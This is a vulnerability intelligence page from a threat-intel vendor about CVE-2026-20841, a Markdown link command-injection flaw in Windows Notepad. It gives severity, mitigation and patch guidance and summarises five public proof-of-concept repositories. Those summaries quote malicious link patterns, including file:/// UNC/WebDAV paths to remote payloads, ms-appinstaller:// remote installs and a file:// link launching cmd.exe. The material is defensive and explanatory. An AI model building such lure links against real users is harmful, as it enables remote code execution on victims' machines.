Skip to main content
Mallory
HighPublic exploitVulnerability

CVE-2026-20841: Windows Notepad Markdown Link Command Injection RCE

Published Feb 10, 2026 · Updated 2 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
CVSS7.8High · v3.1
EPSS8.9%95th percentile
CISA KEVNoNot listed
In the wildNonePublic exploit, no exploitation reported
Vendor
Microsoft Corporation
IdentifiersCVE-2026-20841CWE-77 · Improper Neutralization of Special…

CVE-2026-20841 is a command-injection vulnerability in the Microsoft Store-distributed Windows Notepad application’s Markdown hyperlink handling. When rendering a Markdown document, the vulnerable application passes a user-clicked link to Windows protocol handling with insufficient neutralization and protocol validation. Crafted links using non-web URI schemes can cause the operating system to load and execute attacker-controlled local or remote content. The issue affects modern Notepad versions before 11.2510; the legacy Windows Notepad implementation without Markdown rendering is not affected.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

A successful attack enables arbitrary command or code execution in the security context of the user who opened the malicious Markdown document. An attacker can use this to execute payloads, access resources available to that user, establish persistence, or conduct further local actions. Impact is greater where the victim is an administrator, since execution inherits the victim’s elevated rights.

Mitigation

If you can’t patch tonight, do this now.

No complete workaround is available for unpatched installations. Until updated, prevent or restrict use of the modern Notepad application for untrusted Markdown documents; instruct users not to open unexpected Markdown files or activate embedded links; apply least-privilege principles; and monitor for anomalous child-process creation or protocol-handler activity initiated by Notepad. The fixed version presents a warning for non-HTTP(S) link schemes, but users should not rely on warning prompts as a sole control.

Remediation

Patch, then assume compromise.

Update the Microsoft Store version of Windows Notepad to build 11.2510 or later. Enable and verify Microsoft Store application updates, and enforce the fixed minimum version across managed endpoints.

Public exploits

Exploits

5 exploits validated by Mallory's analysis. Hidden: 7 rejected by Mallory's analysis as not a working exploit; 2 not yet analyzed, such as Exploit-DB entries.

View more in app →
CVE-2026-20841Repository is a small proof-of-concept for CVE-2026-20841 (“Windows Notepad RCE”) centered on abusing Notepad’s Markdown link handling to launch a file:/// URL that points to a remote UNC path (WebDAV/SMB). The repo contains two standalone generators (poc.js and poc.py) that take <webdav-server-host> <port> <server/path/to/payload> and write a local markdown file (poc.md) embedding a link of the form file:///\\host@port\DavWWWRoot\payload. The intended attack flow is: attacker hosts a payload on a WebDAV/SMB server; victim opens poc.md in Notepad and clicks the link; Windows fetches/opens the remote file, potentially executing it via file association (e.g., .py if Python is installed). The README documents limitations: many executable/script extensions trigger Windows warnings; using .py or .jar may bypass warnings if the interpreter/runtime is installed. sample-payloads/ provides benign demo payloads (hello.py shows a Windows MessageBox via ctypes; hello.vbs shows a VBScript MsgBox). No scanning, persistence, or C2 is implemented—this is a link-generation PoC rather than a full exploitation framework.tangent65536 · Disclosed Feb 11, 2026 · markdown · javascript · network · user-assisted (social engineering / link click)PoCCVE-2026-20841Repository is a small proof-of-concept for CVE-2026-20841, described as a Windows Notepad Markdown renderer issue where URL protocols are not restricted, allowing clickable links to invoke arbitrary protocol handlers. Structure and purpose: - README.md: Explains the vulnerability concept and three user-assisted vectors: (1) file:/// resolving to remote UNC/WebDAV paths to fetch/execute a payload, (2) ms-appinstaller:// to open App Installer with a remote .appx/.msix source, and (3) file:// to launch local executables. - poc.js and poc.py: Two equivalent generators (Node.js and Python) that create a malicious Markdown file named poc.md. They take <host> <port> <payload-path> and embed a link of the form file:///\\<host>@<port>\DavWWWRoot\<payload-path>. - poc.md: Example generated output containing a link to file:///\\192.168.1.100@5005\DavWWWRoot\hello.vbs. - hello.py and hello.vbs: Benign demo payloads (message box) to demonstrate code execution when the link is clicked. Exploit capabilities: - Generates a crafted Markdown document that, when opened in vulnerable Notepad and clicked, causes Windows to resolve and open a remote UNC/WebDAV resource (or other protocol handlers described in the README). This can lead to execution of remote content depending on file association/interpreter availability and Windows security prompts. No scanning, brute force, or automatic exploitation is present; it is a user-assisted PoC generator focused on producing the malicious link and demonstrating payload execution behavior.atiilla · Disclosed Feb 12, 2026 · markdown · python · network (user-assisted) via file:/// UNC/WebDAV path to remote payload · local (user-assisted) via file:// to execute local binaries · network (user-assisted) via ms-appinstaller:// to fetch/install remote app packagePoCCVE-2026-20841-PoCRepository contains a minimal proof-of-concept for CVE-2026-20841 affecting the Microsoft Store version of Windows Notepad (builds prior to 11.2510). Structure: - README.md: Describes the claimed vulnerability (Markdown link rendering fails to validate/sanitize URI schemes), impact (RCE), affected versions, and remediation. Includes two PoC link examples. - PoC.md: The actual clickable Markdown payload demonstrating two vectors. Exploit capability: user-assisted code execution by embedding malicious hyperlinks in a Markdown file opened in Notepad. When the victim clicks the link, Notepad passes the URI to Windows protocol handling without proper validation. Demonstrated outcomes include (1) invoking the ms-appinstaller protocol to fetch/install a remote .appx from an attacker-controlled HTTPS URL, and (2) launching a local executable via a file:// URI (cmd.exe shown). No automation, shellcode, or post-exploitation logic is included; it is a conceptual/interaction-based PoC rather than a full weaponized exploit.dogukankurnaz · Disclosed Feb 12, 2026 · markdown · network (user-assisted) via protocol handler abuse in Markdown links · local execution via file:// URI invocation (user-assisted)PoCPoC-CVE-2026-20841Repository contains a minimal, user-assisted PoC for CVE-2026-20841 described as a Windows Notepad (< 11.2510) issue enabling “remote code execution” via a specially crafted Markdown file. There is no exploit code in a traditional sense (no scripts/binaries); the core artifact is `poc.md`, which embeds (1) a GitHub raw HTTPS link to download an external executable (`poc.exe`) and (2) a local Windows path link (`C:\Users\user\Downloads\poc.exe`) intended to run that executable after download. The exploit capability is therefore a social-engineering click-through chain that results in execution of an externally hosted payload, contingent on Notepad’s handling of Markdown links and the user clicking them in sequence. Structure: LICENSE (MIT), README.md (requirements and steps), and poc.md (the crafted Markdown with the two links).EleniChristopoulou · Disclosed Feb 17, 2026 · markdown · local / user-assisted (social engineering) via Markdown link handling in Windows Notepad · network (HTTPS download of external executable)PoCCVE-2026-20841This repository is a small multi-language proof-of-concept generator for alleged CVE-2026-20841 affecting Microsoft Windows Notepad. It contains three equivalent scripts in JavaScript, Python, and VBScript plus a README. Each script accepts <host> <port> <payload-filename>, validates the port, constructs a UNC/WebDAV-style file URI of the form file:///\\host@port\DavWWWRoot\payload, and writes a Markdown file named poc.md containing a clickable link labeled 'Execute Payload'. The intended attack flow is social-engineering based: the victim opens poc.md in modern Windows Notepad and clicks the embedded link, causing Notepad/Windows to access a remote attacker-controlled WebDAV resource. The code does not implement a WebDAV server, memory corruption, shellcode, or a full RCE chain; it only generates the lure document and relies on external infrastructure and user interaction. Structurally, the repository is straightforward: three standalone entry points with near-identical logic and a README describing the claimed vulnerability, affected products, impact, and defensive guidance. Overall, this is best classified as a PoC/lure generator rather than a weaponized exploit.0xBlackash · Disclosed Jun 1, 2026 · javascript · python · file · web · networkPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Microsoft CorporationWindow Notepadapplication
Microsoft CorporationWindows Notepadapplication
FAQ

Frequently asked questions

Is CVE-2026-20841 exploited in the wild?
As of Sep 25, 2026, Mallory has no reports of CVE-2026-20841 being exploited in the wild. It is not listed in CISA KEV.
Is there a public exploit for CVE-2026-20841?
Yes. Mallory tracks 5 public exploits or proofs of concept for CVE-2026-20841, the earliest disclosed Feb 11, 2026.
Is there a patch for CVE-2026-20841?
Update the Microsoft Store version of Windows Notepad to build 11.2510 or later. Enable and verify Microsoft Store application updates, and enforce the fixed minimum version across managed endpoints.
What products are affected by CVE-2026-20841?
Microsoft Corporation Windows Notepad and Microsoft Corporation Window Notepad.
How severe is CVE-2026-20841?
CVE-2026-20841 has a CVSS v3.1 score of 7.8 (High) and an EPSS score of 8.9% (95th percentile) as of Sep 25, 2026.
Activity feed

Recent activity

261 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+8 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity188Community discussion across Reddit, Mastodon, and other social sources.